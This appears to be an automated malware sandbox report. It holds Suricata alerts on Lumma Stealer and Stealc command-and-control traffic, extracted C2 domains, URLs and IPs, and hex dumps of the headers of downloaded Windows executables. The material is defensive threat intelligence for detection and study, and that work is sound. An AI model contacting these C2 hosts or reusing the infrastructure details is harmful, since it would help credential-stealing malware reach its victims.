Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50052 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:59855 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50050 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50048 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:59761 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:57389 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50066 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50077 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50055 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:57852 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50111 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49939 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49939 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49931 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49857 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49857 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49844 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49844 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49914 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50066 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50066 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:06:33 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:06:36 GMTContent-Type: application/octet-streamContent-Length: 1904640Last-Modified: Thu, 31 Oct 2024 04:05:08 GMTConnection: keep-aliveETag: "672301f4-1d1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 5d 1c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 ff 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 ff 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 78 7a 66 77 73 79 69 00 00 1a 00 00 10 31 00 00 f4 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 76 75 62 62 72 6b 67 00 10 00 00 00 10 4b 00 00 04 00 00 00 ea 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4b 00 00 22 00 00 00 ee 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:07 GMTContent-Type: application/octet-streamContent-Length: 2928128Last-Modified: Thu, 31 Oct 2024 04:04:47 GMTConnection: keep-aliveETag: "672301df-2cae00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 2f 00 00 04 00 00 c5 e5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 73 77 66 72 77 68 78 00 00 2a 00 00 b0 05 00 00 f4 29 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 79 70 76 64 76 73 61 00 10 00 00 00 b0 2f 00 00 04 00 00 00 88 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 2f 00 00 22 00 00 00 8c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:16 GMTContent-Type: application/octet-streamContent-Length: 2120192Last-Modified: Thu, 31 Oct 2024 04:05:01 GMTConnection: keep-aliveETag: "672301ed-205a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 00 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 72 00 00 04 00 00 42 62 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 76 79 71 77 72 6e 75 00 b0 19 00 00 40 58 00 00 a8 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 73 6c 6d 6f 6c 74 70 00 10 00 00 00 f0 71 00 00 06 00 00 00 32 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 72 00 00 22 00 00 00 38 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:26 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 02:58:24 GMTConnection: keep-aliveETag: "6722f250-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 48 f2 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 12 c3 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:30 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 